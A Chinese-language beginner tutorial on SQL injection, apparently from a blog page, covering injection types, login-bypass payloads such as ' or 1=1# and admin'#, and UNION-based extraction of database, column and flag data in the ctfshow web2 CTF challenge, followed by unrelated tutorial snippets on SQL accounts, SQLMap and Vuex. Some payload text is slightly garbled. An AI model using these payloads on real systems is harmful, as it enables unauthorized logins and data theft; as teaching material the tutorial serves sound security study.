Sql注入的入門教程

2021-10-18 05:11:26 字數 2626 閱讀 6219

sql注入比較常見的漏洞之一,例用程式設計師的漏洞來進行無賬號的登陸,篡改資料庫。任何客戶端可控,傳引數到服務端的變數,和資料庫互動,都有可能存在sql注入

原理

使用者通過構造sql語句來模仿伺服器發向伺服器的語句,造成錯誤執行。從而達到自己的目的。

1.發現注入位置。

2.判斷注入型別傳參方式的:get型別,post型別,cookie型別。

以及根據注入點不同的:數字型注入,單引號注入,雙引號注入。

首先是單引號雙引號注入(單引號為例):

select * from `article` where id = 『[id]』

select * from `article` where id = 「[id]

1=』1

1=』2

若第乙個payload為查詢1,第二個返回值為錯誤,則存在單雙引號注入。

數字型為

select * from `article` where id =[id]

and 1=1

and 1=2

比如:已知某**的sql查詢語句如下,並且沒有做任何的遮蔽措施。

select * from users where username=

'使用者名稱

'and password=md5('

密碼')

此處我們容易想到閉合前端的引號構成注入,當我們輸入使用者名為』or 1=1#,

select * from users where username='』

or 1=1#

'and password=md5('')

由於在sql注入中#等同於注釋,該語句語句可以等價於

select * from users where username='』

or 1=1

#' and password=md5('')

該語句由於1=1恆成立,故會返回users中所有的使用者。

倘若我們已知使用者名稱而不清楚密碼的情況下(假設使用者名為admin):

select * from users where username=

'使用者名稱

'and password=md5('

密碼')

輸入:admin』#

select * from users where username=

'admin』#

'and password=md5('

密碼')

等同於select * from users where username=

'admin』#'

and password=md5('

密碼')

故會在不用密碼的情況成功的登陸admin使用者。

獲取資料(重要)

mysql中又三種預設庫

information_schema :儲存著關於mysql伺服器所維護的所有其他資料庫的資訊

。(主要)

mysql :

儲存資料庫的

⽤戶、許可權、設定關鍵字。

performance_schema :

收集資料庫伺服器效能 引數。 注

: mysql < 5.0

沒有資訊資料庫

information_schema又包括

schemata // 資料庫資訊表(庫名)

tables // 資料表資訊表(表名)

columns // 資料列資訊表(列名)

以ctfshow web2為例

檢視回顯位置

檢視當前的庫名

admin

』or 1=1 union select 1,database(),3#

檢視表名

檢視欄位名

admin

』or 1=1 union select 1,column_name,3 from information_column.name where table_name=『flag』#

根據字段查內容

admin

』or 1=1 union select 1,flag,3 from flag#

SQL入門教程(十一) 賬戶管理

1.建立賬戶,授予許可權 grant 許可權列表 on 資料庫 to 使用者名稱 訪問主機 indentified by 密碼 老王只有查閱許可權 grant select on jingdong.to laowang localhost indentified by 1234 老李可以在任意電腦,...

SQLMap的入門教程

sqlmap是乙個自動化的sql注入工具,其主要功能是掃瞄 發現並利用給定url的sql注入漏洞,還可以檢測xss漏洞,內建了很多繞過的外掛程式,支援的資料庫有 mysql oracle postgresql sqlserver access db2 sqlite firebird sybase和s...

Vuex的入門教程

前言 在 vue.js 的專案中,如果專案結構簡單,父子元件之間的資料傳遞可以使用 props 或者 emit 等方式,詳細點選這篇文章檢視。但是如果是大型專案,很多時候都需要在子元件之間傳遞資料,使用之前的方式就不太方便。vue 的狀態管理工具 vuex 完美的解決了這個問題。一 安裝並引入 vu...